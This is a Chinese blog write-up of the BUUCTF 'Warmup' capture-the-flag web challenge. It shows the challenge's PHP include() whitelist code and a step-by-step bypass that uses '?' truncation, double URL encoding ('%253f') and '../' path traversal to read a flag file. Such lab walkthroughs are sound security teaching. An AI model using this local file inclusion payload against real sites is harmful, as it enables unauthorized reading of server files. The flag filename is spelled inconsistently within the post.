

BUUCTF——Warmup

原创

[一只小白来了](#)  于 2020-04-30 10:42:39 发布  509  收藏 1

分类专栏: [CTF](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_44866139/article/details/105455828

版权



[CTF 专栏收录该内容](#)

13 篇文章 2 订阅

订阅专栏

Warmup

```
1 <!DOCTYPE html>
2 <html lang="en">
3 <head>
4   <meta charset="UTF-8">
5   <meta name="viewport" content="width=device-width, initial-scale=1.0">
6   <meta http-equiv="X-UA-Compatible" content="ie=edge">
7   <title>Document</title>
8 </head>
9 <body>
10  <!--source.php-->
11
12  <br></body>
13 </html>
```

```
<?php
highlight_file(__FILE__);
class emmm
{
    public static function checkFile(&$page)
    {
        $whitelist = ["source"=>"source.php", "hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($page, $whitelist)) {
            return true;
        }

        $page = urldecode($page);
        $page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}
```

```

<?php
highlight_file(__FILE__);
class emmm
{
    public static function checkFile(&$page)
    {
        $whitelist = ["source"=>"source.php", "hint"=>"hint.php"];
        if (! isset($page) || !is_string($page)) {
            echo "you can't see it";
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr($page, 0, mb_strpos($page, '?'));
        //mb_substr() 函数返回字符串的一部分，之前我们学过 substr() 函数，它只针对英文字符，如果要分割的中文文字则需要使用 mb_substr()。
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page, '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }
        echo "you can't see it";
        return false;
    }
}

if (! empty($_REQUEST['file'])
    && is_string($_REQUEST['file'])
    && emmm::checkFile($_REQUEST['file'])) {
    include $_REQUEST['file'];//想办法执行这个包含函数
    exit;
} else {
    echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

```

flag not here, and flag in ffffflllaaaagggg

绕过第一个函数检查:

```
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
```

page参数包含有这两个文件中的任意一个

```
http://111.198.29.45:59377/?file=hint.php
```

绕过第二个函数检查: 向php页面中传入参数

```
http://111.198.29.45:59377/?file=hint.php?
```

绕过第三个函数检查: 两次url编码

```
http://111.198.29.45:59377/?file=hint.php%253f
```

之后访问提示文件

http://aeed8688-0691-4161-b6f7-2bc32b98db3c.node3.buuoj.cn/?file=hint.php%253F/../../../../ffffl1lll1aaagggg



tips:include函数有这么一个神奇的功能：以字符'/'分隔（而且不计个数），若是在前面的字符串所代表的文件无法被PHP找到，则PHP会自动包含'/'后面的文件——注意是最后一个'/'。

这里的ffffl1lll1aaagggg是在hint.php中发现的，显然flag在这个文件里。其实文件名提示了我们要使用四层目录，这里比较坑。